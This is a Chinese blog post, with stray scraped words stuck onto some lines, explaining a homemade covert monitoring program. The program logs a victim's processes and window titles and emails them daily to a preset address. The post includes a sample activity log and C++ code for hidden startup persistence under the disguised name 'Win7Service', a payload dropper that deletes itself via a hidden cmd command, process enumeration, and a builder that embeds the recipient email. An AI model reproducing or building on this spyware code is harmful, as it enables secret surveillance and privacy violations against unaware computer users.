遠程監控程序的實現

本程序能實現監控的功能,因爲我不想記錄太多的信息,因此簡化了其中的功能。程序中主要記錄當前的進程列表和活動窗口的標題,每小時記錄一次,每一天向預先設定的郵箱中發一封郵件,典型的郵件內容以下:sass

2011-03-28
12:28
當前窗口:開始
[System Process]
smss.exe
csrss.exe
wininit.exe
winlogon.exe
services.exe
lsass.exe
lsm.exe
svchost.exe
ibmpmsvc.exe
audiodg.exe
RtkAudioService.exe
RtHDVBg.exe
ZhuDongFangYu.exe
taskeng.exe
lpksetup.exe
TPHKSVC.exe
360rp.exe
taskhost.exe
tpnumlkd.exe
dwm.exe
explorer.exe
FNPLicensingService.exe
CamMute.exe
micmute.exe
TPKNRSVC.exe
lvvsst.exe
virtscrl.exe
rrservice.exe
ImeUtil.exe
WLIDSVC.EXE
TpShocks.exe
TPOSDSVC.exe
rundll32.exe
TPONSCR.exe
SynTPEnh.exe
WLIDSVCM.EXE
msswin7.exe
360sdrun.exe
360speedld.exe
360tray.exe
360leakfixer.exe
sppsvc.exe
SynTPLpr.exe
360sd.exe
SearchIndexer.exe
dllhost.exe
WmiPrvSE.exe
SynTPHelper.exe
13:00
當前窗口:搶鹽背後的搞笑段子、圖片,不信你不笑!! - 新鮮鄭州 - 鄭州論壇 _鄭州同城交友活動_最溫暖最鄭州的網絡生活 - 河南一百度 - Windows Internet Explorer
wmpnetwk.exe
SUService.exe
tvt_reg_monitor_svc.exe
QQ.exe
TXPlatform.exe
sogouexplorer.exe
iexplore.exe
SogouCloud.exe
SearchProtocolHost.exe
Thunder.exe
ThunderPlatform.exe
FlashUtil10o_ActiveX.exe
SearchFilterHost.exe
13:05
當前窗口:360殺毒 v1.2
userinit.exe
TrustedInstaller.exe
13:10
當前窗口:360殺毒 v1.2
14:10
當前窗口:Program Manager
wmpnscfg.exe
15:00
當前窗口:迅雷7
MOM.exe
CCC.exe
16:00
當前窗口:迅雷7
17:55
當前窗口:Dialog
18:00
當前窗口:新加捲 (E:)
KuGoo.exe
KGDaemon.exe
19:00
當前窗口:360殺毒 v1.2 - 全盤掃描
20:00
當前窗口:TDDOWNLOAD
21:00
當前窗口:秋水之冰
Xmp.exe
WUDFHost.exe
22:00
當前窗口:我知女人心HD高清版.rmvb網絡

 

本程序無界面,在控制檯程序中釋放主程序,完成一些初始化工做,並自動設爲啓動項。下面主要粘貼幾段關鍵的代碼。app

1 設爲啓動項函數

void EnableAutoLaunch(CString processPath)
{
 //寫入註冊表,開機自啓動
 HKEY hKey;
 //找到系統的啓動項
 LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 //打開啓動項Key
 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpRun,0, KEY_WRITE, &hKey);
 if(lRet == ERROR_SUCCESS)
 {
  DWORD dwRet =processPath.GetLength();
  char *pFileName=processPath.GetBuffer(dwRet);
  //添加一個子Key,並設置值
  lRet = RegSetValueEx(hKey, "Win7Service",0, REG_SZ, (BYTE*)pFileName, dwRet);
  //關閉註冊表
  RegCloseKey(hKey);
  if(lRet != ERROR_SUCCESS)
  {
   AfxMessageBox("系統參數錯誤,不能隨系統啓動");
  }
 }
}


 

2 釋放程序code

void ReleaseResource(int resourceID,CString resType,CString proPath,BOOL appendInf/*=FALSE*/,CString inf/*=""*/)
{
 DWORD writeSize=0;
 
 HANDLE hFile = CreateFile(proPath.GetBuffer(0), GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
 HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(resourceID),resType.GetBuffer(0));
 LPCVOID lp=LockResource(LoadResource(NULL,hrsrc));
 DWORD fileSize=SizeofResource(NULL,hrsrc);
 WriteFile(hFile,lp,fileSize,&writeSize,NULL);
 if(appendInf)//是否在程序末尾追加信息
 {
  WriteFile(hFile,inf.GetBuffer(0),256,&writeSize,NULL);
 }
 CloseHandle(hFile);
 MessageBox(AfxGetApp()->GetMainWnd()->GetSafeHwnd(),"done.","信息",MB_ICONINFORMATION);
 ShellExecute(NULL,"open","cmd.exe","/c taskkill /f /im Host.exe & del /f Host.exe",NULL,SW_HIDE);//刪除自身,嘻嘻。

}


3 遍歷進程列表orm

void EnumerateProcesses()
{
 HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 //--------------------------------------
 //查詢進程
 //--------------------------------------
 PROCESSENTRY32  processInfo;
 CString strProcessName= "";
 DWORD  nProcessID=0;
 int nProcessTerminate=0;
 processInfo.dwSize = sizeof(PROCESSENTRY32);
 BOOL status=Process32First(snapShot,&processInfo);
 while(status)
 {
  strProcessName = processInfo.szExeFile;
  UpdateProcessList(strProcessName);//更新進程列表
  status = Process32Next(snapShot,&processInfo);
 }
}

4 定製服務端的生成進程

就是根據用戶輸入的email來生成不一樣的服務端程序。見2中釋放程序的函數,咱們須要在程序的末尾追加特定信息,這裏把用戶定製的email信息追加到服務端末尾,本程序向服務端程序末尾追加256字節數據,等到服務端運行的時候會打開本身,讀取其末尾的256字節數據,從而獲得email信息。圖片

5 發送emailcmd

這個函數很關鍵,代碼很多。這裏不貼了。it

相關文章
相關標籤/搜索